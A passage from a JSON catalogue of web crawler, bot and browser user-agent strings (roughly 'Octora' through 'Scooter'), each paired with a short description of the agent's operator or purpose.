beta (66.228.114.xx)\",\"ua\":\"Octora Beta - www.octora.com\"},{\"description\":\"Octora RSS feed search\",\"ua\":\"Octora Beta Bot - www.octora.com\"},{\"description\":\"Meta Products Offlinebrowser\",\"ua\":\"Offline Explorer 1.*\"},{\"description\":\"Claymont robot \\/ Internetseer Web Site Monitoring\",\"ua\":\"OliverPerry\"},{\"description\":\"OmniExplorer car & shopping search (64.62.175.xxx)\",\"ua\":\"OmniExplorer_Bot\\/1.0x (+http:\\/\\/www.omni-explorer.com) Internet CategorizerOmniExplorer http:\\/\\/www.omni-explorer.com\\/ car & shopping search (64.62.175.xxx)\"},{\"description\":\"OmniExplorer car & shopping search (64.62.175.xxx)\",\"ua\":\"OmniExplorer_Bot\\/1.0x (+http:\\/\\/www.omni-explorer.com) Job Crawler\"},{\"description\":\"OmniExplorer car & shopping search (64.62.175.xxx)\",\"ua\":\"OmniExplorer_Bot\\/1.1x (+http:\\/\\/www.omni-explorer.com) Torrent Crawler\"},{\"description\":\"OmniExplorer car & shopping search (64.62.175.xxx)\",\"ua\":\"OmniExplorer_Bot\\/x.xx (+http:\\/\\/www.omni-explorer.com) WorldIndexer\"},{\"description\":\"onsearch.de German web directory link checking \",\"ua\":\"onCHECK Linkchecker von www.scientec.de fuer www.onsinn.de\"},{\"description\":\"onsearch.de German web directory link checking \",\"ua\":\"onCHECK-Robot, www.onsearch.de\"},{\"description\":\"onet.pl Szukaj (Search) robot (213.180.128.1xx)\",\"ua\":\"Onet.pl SA- http:\\/\\/szukaj.onet.pl\"},{\"description\":\"Dead-Links.com link validation spider\",\"ua\":\"online link validator (http:\\/\\/www.dead-links.com\\/)\"},{\"description\":\"Online24 shopping portal (Germany) link checking\",\"ua\":\"Online24-Bot (Version: 1.0x, powered by www.online24.de)\"},{\"description\":\"OntoSpider - Dutch robot for a research project. (195.11.244.xx)\",\"ua\":\"OntoSpider\\/1.0 libwww-perl\\/5.65\"},{\"description\":\"SeetooZ search crawler\",\"ua\":\"OOZBOT\\/0.20 ( http:\\/\\/www.setooz.com\\/oozbot.html ; agentname at setooz dot_com )\"},{\"description\":\"OpenAcoon open source search engine (used by Acoon search)\",\"ua\":\"OpenAcoon v4.0.x (www.openacoon.de)\"},{\"description\":\"Openfind.com.tw robot\",\"ua\":\"Openbot\\/3.0+(robot-response@openfind.com.tw;+http:\\/\\/www.openfind.com.tw\\/robot.html)\"},{\"description\":\"Openfind.com.tw robot\",\"ua\":\"Openfind data gatherer- Openbot\\/3.0+(robot-response@openfind.com.tw;+http:\\/\\/www.openfind.com.tw\\/robot.html)\"},{\"description\":\"Openfind.com.tw robot\",\"ua\":\"Openfind Robot\\/1.1A2\"},{\"description\":\"open i search robot  - search engine in development\",\"ua\":\"OpenISearch\\/1.x (www.openisearch.com)\"},{\"description\":\"Opentagger social bookmarking system\",\"ua\":\"OpenTaggerBot (http:\\/\\/www.opentagger.com\\/opentaggerbot.htm)\"},{\"description\":\"OpenText crawler\",\"ua\":\"OpenTextSiteCrawler\\/2.9.2\"},{\"description\":\"OpenWebSpider - Open Source web search engine\",\"ua\":\"OpenWebSpider\\/0.x.x (http:\\/\\/www.openwebspider.org)\"},{\"description\":\"OpenWebSpider - Open Source web search engine\",\"ua\":\"OpenWebSpider\\/x\"},{\"description\":\"Opera 5.0 Linux\",\"ua\":\"Opera\\/5.0 (Linux 2.0.38 i386; U) [en]\"},{\"description\":\"Opera 5.11 faked WinME referer\",\"ua\":\"Opera\\/5.11 (Windows ME; U) [ru]\"},{\"description\":\"Opera 5.12 Win98\",\"ua\":\"Opera\\/5.12 (Windows 98; U) [en]\"},{\"description\":\"unknown robot from gw.ocg-corp.com (209.126.176.x)\",\"ua\":\"Opera\\/6.01 (larbin@unspecified.mail)\"},{\"description\":\"Opera 6.x- Mandrake Linux\",\"ua\":\"Opera\\/6.x (Linux 2.4.8-26mdk i686; U) [en]\"},{\"description\":\"Opera 6.x WinNT\",\"ua\":\"Opera\\/6.x (Windows NT 4.0; U) [de]\"},{\"description\":\"Opera 7.x WinXP\",\"ua\":\"Opera\\/7.x (Windows NT 5.1; U) [en]\"},{\"description\":\"Opera 8.x (Beta) WinXP\",\"ua\":\"Opera\\/8.xx (Windows NT 5.1; U; en)\"},{\"description\":\"Opera 9 (Beta) Browser\",\"ua\":\"Opera\\/9.0 (Windows NT 5.1; U; en)\"},{\"description\":\"Opera 9 (final)\",\"ua\":\"Opera\\/9.00 (Windows NT 5.1; U; de)\"},{\"description\":\"Opera browser 9.6x on WinXP (Presto = Operas rendering engine)\",\"ua\":\"Opera\\/9.60 (Windows NT 5.1; U; de) Presto\\/2.1.1\"},{\"description\":\"Opidoo Search Belgium robot (62.4.83.xxx)\",\"ua\":\"OpidooBOT (larbin2.6.3@unspecified.mail)\"},{\"description\":\"Open Wave Phone Simulator SDK\",\"ua\":\"OPWV-SDK UP.Browser\\/7.0.2.3.119 (GUI) MMP\\/2.0 Push\\/PO\"},{\"description\":\"Oracle Application Server cache\",\"ua\":\"Oracle Application Server Web Cache 10g\"},{\"description\":\"Oracle interMedia Text - Text and web documents indexing\",\"ua\":\"Oracle iMTCrawler\"},{\"description\":\"Oracle Search\",\"ua\":\"Oracle Ultra Search\"},{\"description\":\"Orangeslicer semantic search (Beta) Germany (193.201.52.1xx)\",\"ua\":\"OrangeSpider\"},{\"description\":\"Orbiter - DailyOrbit search spider\",\"ua\":\"Orbiter\\/T-2.0 (+http:\\/\\/www.dailyorbit.com\\/bot.htm)\"},{\"description\":\"Orca browser - based on Gecko\",\"ua\":\"Orca Browser (http:\\/\\/www.orcabrowser.com)\"},{\"description\":\"Marketscore (was Netsetter) internet accelerator\",\"ua\":\"OSSProxy 1.3.305.321 (Build 305.321 Win32 en-us)(Dec 21 2005 16:30:54)\"},{\"description\":\"Unknown robot from Chinanet (220.181.8.xxx)\",\"ua\":\"OutfoxBot\\/0.x (For internet experiments; http:\\/\\/; outfox.agent@gmail.com)\"},{\"description\":\"Unknown robot from Chinanet (60.191.80.1)\",\"ua\":\"OutfoxMelonBot\\/0.5 (for internet experiments; http:\\/\\/; outfoxbot@gmail.com)\"},{\"description\":\"Overture\\/Fast\\/Alltheweb crawler (66.77.73.xxx)\",\"ua\":\"Overture-WebCrawler\\/3.8\\/Fresh (atw-crawler at fast dot no; http:\\/\\/fast.no\\/support\\/crawler.asp)\"},{\"description\":\"Unknown robot from 198.169.127.xx (innovationplace.com)\",\"ua\":\"OWR_Crawler 0.1\"},{\"description\":\"Ozelot - Flying Cat's search engine robot (Germany)\",\"ua\":\"ozelot\\/2.7.3 (Search engine indexer; www.flying-cat.de\\/ozelot; ozelot@flying-cat.de)\"},{\"description\":\"PADLibrary.com - PAD file software robot for FindFiles.com\",\"ua\":\"PADLibrary Spider\"},{\"description\":\"Pagebites job search crawler\",\"ua\":\"PageBitesHyperBot\\/600 (http:\\/\\/www.pagebites.com\\/)\"},{\"description\":\"Pagebull visual search engine\",\"ua\":\"Pagebull http:\\/\\/www.pagebull.com\\/\"},{\"description\":\"Pagestacker online bookmark service\",\"ua\":\"Pagestacker Bot\"},{\"description\":\"Secure Computing SmartFilter Tools - malware crawler\",\"ua\":\"page_verifier (http:\\/\\/www.securecomputing.com\\/goto\\/pv)\"},{\"description\":\"Downloadmanager ?\",\"ua\":\"PagmIEDownload\"},{\"description\":\"CFC crawler used by Italian academic and research network (GARR)\",\"ua\":\"parallelContextFocusCrawler1.1parallelContextFocusCrawler1.1\"},{\"description\":\"http:\\/\\/www.ianett.com robot\",\"ua\":\"ParaSite\\/1.0b (http:\\/\\/www.ianett.com\\/parasite\\/)\"},{\"description\":\"Patsearch (Germany) robot\",\"ua\":\"Patwebbot (http:\\/\\/www.herz-power.de\\/technik.html)\"},{\"description\":\"Pavuk web downloading program for Unix\",\"ua\":\"pavuk\\/0.9pl29b i686-pc-linux-gnu\"},{\"description\":\"Some site scanning tool via diff. IPs- i.e.: - cox.net (68.4.xxx.xxx)\",\"ua\":\"PBrowse 1.4b\"},{\"description\":\"Post.sk \\/ Eurotel.sk robot\",\"ua\":\"pd02_1.0.0 pd02_1.0.0@dzimi@post.sk\"},{\"description\":\"Pear HTTP_Request PHP extension package\",\"ua\":\"PEAR HTTP_Request class ( http:\\/\\/pear.php.net\\/ )\"},{\"description\":\"Peerbot - favicon search robot\",\"ua\":\"PEERbot www.peerbot.com\"},{\"description\":\"Unknown robot from 64.5.48.xxx (Plethoric.net)\",\"ua\":\"PeopleChat\\/Search_Engine\"},{\"description\":\"Some site scanning tool via diff. IPs\",\"ua\":\"PEval 1.4b\"},{\"description\":\"diff. IPs \\/ services\",\"ua\":\"PHP\\/3.x.xx\"},{\"description\":\"diff. IPs \\/ services\",\"ua\":\"PHP\\/4.0.4pl1\"},{\"description\":\"diff. IPs \\/ services- i.e.: -NTT\\/Verio Inc. link checker\",\"ua\":\"PHP\\/4.0.6\"},{\"description\":\"diff. IPs \\/ services- i.e.: - Phenominet.com link checking\",\"ua\":\"PHP\\/4.1.1\"},{\"description\":\"diff. IPs \\/ services- i.e.: - 209.114.200.xx = MyNetCrawler link checking - 216.139.207.xxx = Mixcat crawler\",\"ua\":\"PHP\\/4.1.2\"},{\"description\":\"Pico Search robot\",\"ua\":\"PicoSearch\\/1.0\"},{\"description\":\"Piffany targeted search web spider\",\"ua\":\"Piffany_Web_Scraper_v0.x\"},{\"description\":\"Piffany targeted search web spider\",\"ua\":\"Piffany_Web_Spider_v0.x\"},{\"description\":\"Whois Source domain name information robot (66.249.26.xx)- s.also: - SurveyBot\",\"ua\":\"PigeonBot1.0 BETA\"},{\"description\":\"PingALink website monitoring\",\"ua\":\"PingALink Monitoring Services 1.0\"},{\"description\":\"PingALink website monitoring\",\"ua\":\"PingALink Monitoring Services 1.0 (http:\\/\\/www.pingalink.com)\"},{\"description\":\"Pingdom web site monitoring\",\"ua\":\"Pingdom GIGRIB (http:\\/\\/www.pingdom.com)\"},{\"description\":\"pipeline search (DMOZ based) search robot (24.106.39. xxx)\",\"ua\":\"pipeLiner\\/0.3a (PipeLine Spider;http:\\/\\/www.pipeline-search.com\\/webmaster.html; webmaster'at'pipeline-search.com)\"},{\"description\":\"pipeline search (DMOZ based) search robot (24.106.39. xxx)\",\"ua\":\"pipeLiner\\/0.xx (PipeLine Spider; http:\\/\\/www.pipeline-search.com\\/webmaster.html)\"},{\"description\":\"Pita crawler\",\"ua\":\"Pita\"},{\"description\":\"Private user-agent via Hurricane Electric Internet Services\",\"ua\":\"Pizilla++ ver 2.45\"},{\"description\":\"Portaljuice spider\",\"ua\":\"PJspider\\/3.0 (pjspider@portaljuice.com; http:\\/\\/www.portaljuice.com)\"},{\"description\":\"Plagger - pluggable RSS\\/Atom feed aggregator written in Perl\",\"ua\":\"Plagger\\/0.x.xx (http:\\/\\/plagger.org\\/)\"},{\"description\":\"unknown ucsd.edu robot\",\"ua\":\"PlagiarBot\\/1.0\"},{\"description\":\"Plantynet web filtering services - Blacklist DB robot\",\"ua\":\"PlantyNet_WebRobot_V1.9 dhkang@plantynet.com\"},{\"description\":\"Unknown UA from 66.220.23.2xx\",\"ua\":\"plinki\\/0.1 (you got plinked! (thats a good thing..); http:\\/\\/www.plinki.com; crawl@plinki.com)\"},{\"description\":\"Pluck RSS feed crawler\",\"ua\":\"PluckFeedCrawler\\/2.0 (compatible; Mozilla 4.0; MSIE 5.5; http:\\/\\/www.pluck.com; 1 subscribers)\"},{\"description\":\"Pluggd Podcast search engine\",\"ua\":\"Pluggd\\/Nutch-0.9 (automated crawler http:\\/\\/www.pluggd.com;support at pluggd dot com)\"},{\"description\":\"Yutaka Endo's Pockey \\/ GetHTML \\/ GetHTMLW - some downloading tool from Japan\",\"ua\":\"Pockey-GetHTML\\/4.12.0 (Win32; GUI; ix86)\"},{\"description\":\"Yutaka Endo's Pockey \\/ GetHTML \\/ GetHTMLW - some downloading tool from Japan\",\"ua\":\"Pockey-GetHTML\\/x.xx\"},{\"description\":\"Yutaka Endo's Pockey \\/ GetHTML \\/ GetHTMLW - some downloading tool from Japan\",\"ua\":\"Pockey\\/x.x.x\"},{\"description\":\"Yutaka Endo's Pockey \\/ GetHTML \\/ GetHTMLW - some downloading tool from Japan\",\"ua\":\"Pockey7.x.x(WIN32GUI)\"},{\"description\":\"HTTP user-agent for POE (portable networking framework for Perl )\",\"ua\":\"POE-Component-Client-HTTP\\/0.64 (perl; N; POE; en; rv:0.640000)\"},{\"description\":\"ThePlanet\\/jaja-jak-globusy.com Google Adsense refferer spam bot from 70.85.116.* \\/ 70.84.128.xxx \\/ 70.85.193.xxx\",\"ua\":\"Poirot\"},{\"description\":\"Polybot webcrawler\",\"ua\":\"polybot 1.0 (http:\\/\\/cis.poly.edu\\/polybot\\/)\"},{\"description\":\"Dir.com \\/ Iliad French recherche robot\",\"ua\":\"Pompos\\/1.x http:\\/\\/dir.com\\/pompos.html\"},{\"description\":\"Iliad \\/ Free French recherche robot\",\"ua\":\"Pompos\\/1.x pompos@iliad.fr\"},{\"description\":\"Popdex - web site popularity crawler\",\"ua\":\"Popdexter\\/1.0\"},{\"description\":\"Unknown spam bot \\/ harvester (63.223.10.***)\",\"ua\":\"Port Huron Labs\"},{\"description\":\"PortalB (now Alacra search) spider\",\"ua\":\"PortalBSpider\\/2.0 (spider@portalb.com)\"},{\"description\":\"portalmmm IMode mobile browser\",\"ua\":\"portalmmm\\/2.0 S500i(c20;TB)\"},{\"description\":\"Yahoo (66.94.237.1xx \\/ 216.109.121.xx) favorites tracking robot\",\"ua\":\"PostFavorites\"},{\"description\":\"Potbot : A simple IRC bot written in Perl\",\"ua\":\"potbot 1.0\"},{\"description\":\"Project Rialto - data mining development project\",\"ua\":\"PRCrawler\\/Nutch-0.9 (data mining development project; crawler@projectrialto.com)\"},{\"description\":\"CUPS robot for AT&T Privacy Bird Privacy Preferences (P3P) enhancements\",\"ua\":\"PrivacyFinder Cache Bot v1.0\"},{\"description\":\"CUPS robot for AT&T Privacy Bird Privacy Preferences (P3P) enhancements\",\"ua\":\"PrivacyFinder\\/1.1\"},{\"description\":\"Privoxy web proxy\",\"ua\":\"Privoxy\\/3.0 (Anonymous)\"},{\"description\":\"Some site scanning tool from diff. IPs- i.e.: - 67.99.33.x (lightningcon.broadwing.net)\",\"ua\":\"Production Bot 0116B\"},{\"description\":\"Some site scanning tool from diff. IPs- i.e.: - 216.232.64.xx (telus.net)\",\"ua\":\"Production Bot 2016B\"},{\"description\":\"Some site scanning tool from diff. IPs- i.e.: - 141.154.181.xxx (east.verizon.net)\",\"ua\":\"Production Bot DOT 3016B\"},{\"description\":\"Some spam bot\",\"ua\":\"Program Shareware 1.0.2\"},{\"description\":\"unknown\",\"ua\":\"Progressive Download\"},{\"description\":\"unknown\",\"ua\":\"Progressive Download HTTP check\"},{\"description\":\"XP5 robot\",\"ua\":\"Project XP5 [2.03.07-111203]\"},{\"description\":\"Answerchase PROve Answerbot\",\"ua\":\"PROve AnswerBot 4.0\"},{\"description\":\"ProWebguide robot\",\"ua\":\"ProWebGuide Link Checker (http:\\/\\/www.prowebguide.com)\"},{\"description\":\"Picsearch robot (62.119.21.13x)\",\"ua\":\"psbot\\/0.1 (+http:\\/\\/www.picsearch.com\\/bot.html)\"},{\"description\":\"Some site scanning tool via diff. IPs- i.e.: QWest Net\",\"ua\":\"PSurf15a 11\"},{\"description\":\"Some site scanning tool via diff. IPs- i.e.: Optonline net (24.191.xxx.xxx)\",\"ua\":\"PSurf15a 51\"},{\"description\":\"Some site scanning tool via diff. IPs- i.e.: - choiceone.net (216.153.xxx.xxx) - attbi.com (12.250.xxx.xxx) - optonline.net (24.191.xxx.xxx)\",\"ua\":\"PSurf15a VA\"},{\"description\":\"Unknown website grabbing \\/ ripping for unknown purposes from 208.66.195.x - Digitalinfinity.org Russia\",\"ua\":\"psycheclone\"},{\"description\":\"Some robot from Stanford University (171.64.75.xxx = PubCrawl.Stanford.EDU)\",\"ua\":\"PubCrawl (pubcrawl.stanford.edu)\"},{\"description\":\"Parallel URL Fetcher downloading tool\",\"ua\":\"puf\\/0.91beta6a (Linux 2.2.18; i686)\"},{\"description\":\"Parallel URL Fetcher downloading tool\",\"ua\":\"puf\\/0.93.2a (Linux 2.4.18; i686)\"},{\"description\":\"WebarooBot - Webaroo web site search \\/ theme based downloading tool (64.124.122.2xx)\",\"ua\":\"pulseBot (pulse Web Miner)\"},{\"description\":\"PureSight Internet content filter\",\"ua\":\"PureSight\"},{\"description\":\"Puxa Rapido download manager\",\"ua\":\"PuxaRapido v1.0\"},{\"description\":\"ProgramacionWeb.net PWeBot link checking (Argentina)\",\"ua\":\"PWeBot\\/1.2 Inspector (http:\\/\\/www.programacionweb.net\\/robot.php)\"},{\"description\":\"Fast Search robot (using PycURL Python component- s. below)\",\"ua\":\"PycURL\"},{\"description\":\"PycURL - Python interface to libcurl\",\"ua\":\"PycURL\\/7.xx.x\"},{\"description\":\"Python URL fetcher - robot used by Naver Japan\\/Korea\",\"ua\":\"Python-urllib\\/1.1x\"},{\"description\":\"Python URL fetcher - robot used by Google\",\"ua\":\"Python-urllib\\/2.0a1\"},{\"description\":\"Qango.com Web Directory robot\",\"ua\":\"Qango.com Web Directory (http:\\/\\/www.qango.com\\/)\"},{\"description\":\"QEAVis: Quantitative Evaluation of Academic Websites Visibility using Nutch\",\"ua\":\"QEAVis Agent\\/Nutch-0.9 (Quantitative Evaluation of Academic Websites Visibility; http:\\/\\/nlp.uned.es\\/qeavis\"},{\"description\":\"Quepasa!com (Latin American search) robot\",\"ua\":\"QPCreep Test Rig ( We are not indexing- just testing )\"},{\"description\":\"Quepasa!com (Latin American search) robot\",\"ua\":\"QuepasaCreep ( crawler@quepasacorp.com )\"},{\"description\":\"Quepasa!com (Latin American search) robot\",\"ua\":\"QuepasaCreep v0.9.1x\"},{\"description\":\"QueryN Metasearch robot\",\"ua\":\"QueryN Metasearch\"},{\"description\":\"Blacktrees Quicksilver helper application for Mac\",\"ua\":\"Quicksilver (Blacktree,MacOSX)\"},{\"description\":\"Quicktime for Macintosh\",\"ua\":\"QuickTime\\\\xaa.7.0.4 (qtver=7.0.4;cpu=PPC;os=Mac 10.3.9)\"},{\"description\":\"Qweerybot for the Qweery search engine (in development) - Netherland\",\"ua\":\"QweeryBot\\/3.01 ( http:\\/\\/qweerybot.qweery.nl)\"},{\"description\":\"Qweerybot for the Qweery search engine (in development) - Netherland\",\"ua\":\"Qweery_robot.txt_CheckBot\\/3.01 (http:\\/\\/qweerybot.qweery.com)\"},{\"description\":\"Radian6 RSS feed comment crawler\",\"ua\":\"R6_CommentReader_(www.radian6.com\\/crawler)\"},{\"description\":\"Radian6 Rss feed crawler\",\"ua\":\"R6_FeedFetcher_(www.radian6.com\\/crawler)\"},{\"description\":\"gigaBaz - the brainbot (Germany) robot\",\"ua\":\"rabaz (rabaz at gigabaz dot com)\"},{\"description\":\"DAUMOA - Daum search Korea robot (211.115.109.xxx)\",\"ua\":\"RaBot\\/1.0 Agent-admin\\/phortse@hanmail.net\"},{\"description\":\"Bot Provider for the All Womans Bot Service?\",\"ua\":\"Rainbot1.1\"},{\"description\":\"Intersearch.de (was www.intersearch.de) robot (Germany)\",\"ua\":\"ramBot xtreme x.x\"},{\"description\":\"giveRAMP Search Engine robot (64.69.43.1xx)\",\"ua\":\"RAMPyBot - www.giveRAMP.com\\/0.1 (RAMPyBot - www.giveRAMP.com; http:\\/\\/www.giveramp.com\\/bot.html; support@giveRAMP.com)\"},{\"description\":\"giveRAMP Search Engine robot (64.69.43.1xx)\",\"ua\":\"RAMPyBot\\/0.8-dev (Nutch; http:\\/\\/lucene.apache.org\\/nutch\\/bot.html; nutch-agent@lucene.apache.org)\"},{\"description\":\"Rank Exec reciprocal link checking\",\"ua\":\"Rank Exec (rankexec.com) Reciprocal Link Manager 1.x\\/bot\"},{\"description\":\"Rankiva website popularity robot\",\"ua\":\"Rankivabot\\/3.2 (www.rankiva.com; 3.2; vzmxikn)\"},{\"description\":\"Innova\\/IBM Rational SiteCheck - Rational robot\",\"ua\":\"Rational SiteCheck (Windows NT)\"},{\"description\":\"Unknown spider from Raytheon Company - maybe Raytheon High Speed Guard proxy\",\"ua\":\"RAYSPIDER\\/Nutch-0.9\"},{\"description\":\"Read A Blog - RSS feed and blog search engine\",\"ua\":\"ReadABlog Spider (compatible; 1.1; feed update; www.readablog.com)\"},{\"description\":\"RealDownload download manager\",\"ua\":\"RealDownload\\/4.0.0.4x\"},{\"description\":\"The REAP Web Crawler for the REAP project\",\"ua\":\"REAP-crawler Nutch\\/Nutch-1.0-dev (Reap Project; http:\\/\\/reap.cs.cmu.edu\\/REAP-crawler\\/; Reap Project)\"},{\"description\":\"Reaper robot for SiteSearch\",\"ua\":\"Reaper [2.03.10-031204] (http:\\/\\/www.sitesearch.ca\\/reaper\\/)\"},{\"description\":\"Reaper robot for SiteSearch\",\"ua\":\"Reaper\\/2.0x (+http:\\/\\/www.sitesearch.ca\\/reaper)\"},{\"description\":\"REBOL messaging language for distributed Internet apps\",\"ua\":\"REBOL Core 2.x.x.x.x\"},{\"description\":\"REBOL\\/View - machine independent internet client application\",\"ua\":\"REBOL View 1.x.x.x.x\"},{\"description\":\"Rebusnet software site - link \\/ submission checking\",\"ua\":\"RebusnetBot (+http:\\/\\/www.rebusnet.biz)\"},{\"description\":\"Rebusnet software site - link \\/ submission checking\",\"ua\":\"RebusnetPADBot\\/1.5x (+http:\\/\\/www.rebusnet.biz)\"},{\"description\":\"Online reciprocal link checker\",\"ua\":\"reciprocal links checker (http:\\/\\/www.recip-links.com\\/)\"},{\"description\":\"rediff.com search link checking\",\"ua\":\"RedBot\\/redbot-1.0 (Rediff.com Crawler; redbot at rediff dot com)\"},{\"description\":\"RedCarpet crawler for Pronto price comparison search(66.179.107.1xx)\",\"ua\":\"RedCarpet\\/1.2 (http:\\/\\/www.redcarpet-inc.com\\/robots.html)\"},{\"description\":\"Der Bot for telegenetic.net's security related search (65.220.67.2xx)\",\"ua\":\"RedCell\\/0.1 (InfoSec Search Bot (Coming Soon); http:\\/\\/www.telegenetic.net\\/bot.html; lhall@telegenetic.net)\"},{\"description\":\"Der Bot for telegenetic.net's security related search (65.220.67.2xx)\",\"ua\":\"RedCell\\/0.1 (RedCell; telegenetic.net\\/bot.html; lhall_at_telegenetic.net)\"},{\"description\":\"RedKernel Softwares robot\",\"ua\":\"RedKernel WWW-Spider 2\\/0 (+http:\\/\\/www-spider.redkernel-softwares.com\\/)\"},{\"description\":\"REL Link Checker Lite free version of Web Link Validator\",\"ua\":\"REL Link Checker Lite x.x\"},{\"description\":\"unknown\",\"ua\":\"RepoMonkey Bait & Tackle\\/v1.01\"},{\"description\":\"Rewebber proxy service\",\"ua\":\"Rewebber\\/1.2 libwww-perl\\/5.41\"},{\"description\":\"Applied Semantics Auto-Categorizer for QWestDex Direct\",\"ua\":\"rico\\/0.1\"},{\"description\":\"RixBot Rebol Indexer for the RIX - Rebol related search (195.204.121.xx)\",\"ua\":\"RixBot (http:\\/\\/babelserver.org\\/rix)\"},{\"description\":\"StreamBox VCR user agent\",\"ua\":\"RMA\\/1.0 (compatible; RealMedia)\"},{\"description\":\"Real Media server acting as client\",\"ua\":\"RMA\\/1.0 (compatible; RealMedia)\"},{\"description\":\"Canadian Content search crawler\",\"ua\":\"RoboCrawl (http:\\/\\/www.canadiancontent.net)\"},{\"description\":\"Canadian Content Search (207.44.220.xx) robot\",\"ua\":\"RoboCrawl (www.canadiancontent.net)\"},{\"description\":\"FindPal Australia metasearch robot (61.68.139.xx)\",\"ua\":\"RoboPal (http:\\/\\/www.findpal.com\\/)\"},{\"description\":\"PopJapanSearch robot\",\"ua\":\"Robot\\/www.pj-search.com\"},{\"description\":\"Experimental robot using Wget via attbi.net\",\"ua\":\"Robot: NutchCrawler- Owner: wdavies@acm.org\"},{\"description\":\"Supersnooper robot\",\"ua\":\"Robot@SuperSnooper.Com\"},{\"description\":\"Netscape Directory \\/ DMOZ Open Directory link crawler\",\"ua\":\"Robozilla\\/1.0\"},{\"description\":\"ROME - Open source Java tools for RSS and Atom feeds\",\"ua\":\"Rome Client (http:\\/\\/tinyurl.com\\/64t5n) Ver: 0.9\"},{\"description\":\"Qualigo.de robot\",\"ua\":\"Rotondo\\/3.1 libwww\\/5.3.1\"},{\"description\":\"different IPs using the HTTPClient library (mostly link checking)\",\"ua\":\"RPT-HTTPClient\\/0.3-x\"},{\"description\":\"Metacarta.com (66.28.xx.xxx) robot\",\"ua\":\"RRC (crawler_admin@bigfoot.com)\"},{\"description\":\"RSS Bandit RSS\\/Atom reader for .NET framework\",\"ua\":\"RssBandit\\/1.5.0.10 (.NET CLR 1.1.4322.2407; WinNT 5.1.2600.0; http:\\/\\/www.rssbandit.org) (.NET CLR 1.1.4322.2407; WinNT 5.1.2600.0; )\"},{\"description\":\"RSS Micro Search - RSS feed search engine\",\"ua\":\"RSSMicro.com RSS\\/Atom Feed Robot\"},{\"description\":\"RSSOwl embedded RSS feed reader\",\"ua\":\"RSSOwl\\/1.2.3 2006-11-26 (Windows; U; zhtw)\"},{\"description\":\"RSSOwl embedded RSS feed reader\",\"ua\":\"RSSOwl\\/1.2.4 Preview Release 2007-04-15 (Windows; U; zhtw)\"},{\"description\":\"Ykoon RssReader news feed reader\",\"ua\":\"RssReader\\/1.0.xx.x (http:\\/\\/www.rssreader.com) Microsoft Windows NT 5.1.2600.0\"},{\"description\":\"Some site scanning tool via diff. IPs- i.e.: - dslx.net (208.35.1x.xxx) - Home.com\",\"ua\":\"RSurf15a 41\"},{\"description\":\"Some site scanning tool via diff. IPs- i.e.: - dslx.net (208.35.1x.xxx) - Home.com\",\"ua\":\"RSurf15a 51\"},{\"description\":\"Some site scanning tool via diff. IPs- i.e.: - dslx.net (208.35.1x.xxx) - Home.com\",\"ua\":\"RSurf15a 81\"},{\"description\":\"rubhub blog spider\",\"ua\":\"Rubbot\\/1.0 (+http:\\/\\/rubhub.com\\/)\"},{\"description\":\"WebarooBot - Webaroo web site search \\/ theme based downloading tool (64.124.122.2xx)\",\"ua\":\"RufusBot (Rufus Web Miner; http:\\/\\/64.124.122.252\\/feedback.html)\"},{\"description\":\"WebarooBot - Webaroo web site search \\/ theme based downloading tool (64.124.122.2xx)\",\"ua\":\"RufusBot (Rufus Web Miner; http:\\/\\/www.webaroo.com\\/rooSiteOwners.html)\"},{\"description\":\"unknown robot from rumours.jp (202.214.69.xxx)\",\"ua\":\"Rumours-Agent\"},{\"description\":\"RX (Reflexive Search) Bar for IE\",\"ua\":\"RX Bar\"},{\"description\":\"Search & Links directory spider\",\"ua\":\"S&L Spider (http:\\/\\/search.hirners.com\\/)\"},{\"description\":\"SEO-Tools.net link checking ?\",\"ua\":\"S.T.A.L.K.E.R. (http:\\/\\/www.seo-tools.net\\/en\\/bot.aspx)\"},{\"description\":\"SafariBookmarkChecker for Mac OS X\",\"ua\":\"SafariBookmarkChecker (+http:\\/\\/www.coriolis.ch\\/)\"},{\"description\":\"sait robot - unknown robot from Samsung International Korea\",\"ua\":\"sait\\/Nutch-0.9 (SAIT Research; http:\\/\\/www.samsung.com)\"},{\"description\":\"Sandcrawler robot from Microsoft (131.107.0.xx)\",\"ua\":\"SandCrawler - Compatibility Testing\"},{\"description\":\"Sapphire Web Crawler from Carnegie Mellon University's Language Technologies Institute\",\"ua\":\"SapphireWebCrawler\\/1.0 (Sapphire Web Crawler using Nutch; http:\\/\\/boston.lti.cs.cmu.edu\\/crawler\\/; mhoy@cs.cmu.edu)\"},{\"description\":\"Sapphire Web Crawler from Carnegie Mellon University's Language Technologies Institute\",\"ua\":\"SapphireWebCrawler\\/Nutch-1.0-dev (Sapphire Web Crawler using Nutch; http:\\/\\/boston.lti.cs.cmu.edu\\/crawler\\/; mhoy@cs.cmu.edu)\"},{\"description\":\"WebSavvy Directory robot\",\"ua\":\"savvybot\\/0.2\"},{\"description\":\"SiteSell SBIder Nutch based crawler\",\"ua\":\"SBIder\\/0.7 (SBIder; http:\\/\\/www.sitesell.com\\/sbider.html; http:\\/\\/support.sitesell.com\\/contact-support.html)\"},{\"description\":\"SiteSell SBIder Nutch based crawler\",\"ua\":\"SBIder\\/0.8-dev (SBIder; http:\\/\\/www.sitesell.com\\/sbider.html; http:\\/\\/support.sitesell.com\\/contact-support.html)\"},{\"description\":\"Softbyte Labs Black Widow web site ripper\",\"ua\":\"SBL-BOT (http:\\/\\/sbl.net)\"},{\"description\":\"ScanWeb - regular expression based web page searching tool\",\"ua\":\"ScanWeb\"},{\"description\":\"ScholarUniverse - Scholarly experts search robot\",\"ua\":\"ScholarUniverse\\/0.8 (Nutch;+http:\\/\\/scholaruniverse.com\\/bot.jsp; fetch-agent@scholaruniverse.com)\"},{\"description\":\"URL Spider Pro (USP) used by German Schwarzmann GmbH\",\"ua\":\"schwarzmann.biz-Spider_for_paddel.org+(http:\\/\\/www.innerprise.net\\/usp-spider.asp)\"},{\"description\":\"1X Web Browser\",\"ua\":\"Science Traveller International 1X\\/1.0\"},{\"description\":\"WebWobot UK search engine robot (82.43.129.2xx)\",\"ua\":\"ScollSpider\\/2.0 (+http:\\/\\/www.webwobot.com\\/ScollSpider.php)\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter-3.0.EU\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter-3.0.FS\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter-3.0.HD\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter-3.0.VNS\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter-3.0QI\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter-3.2\"},{\"description\":\"Altavista 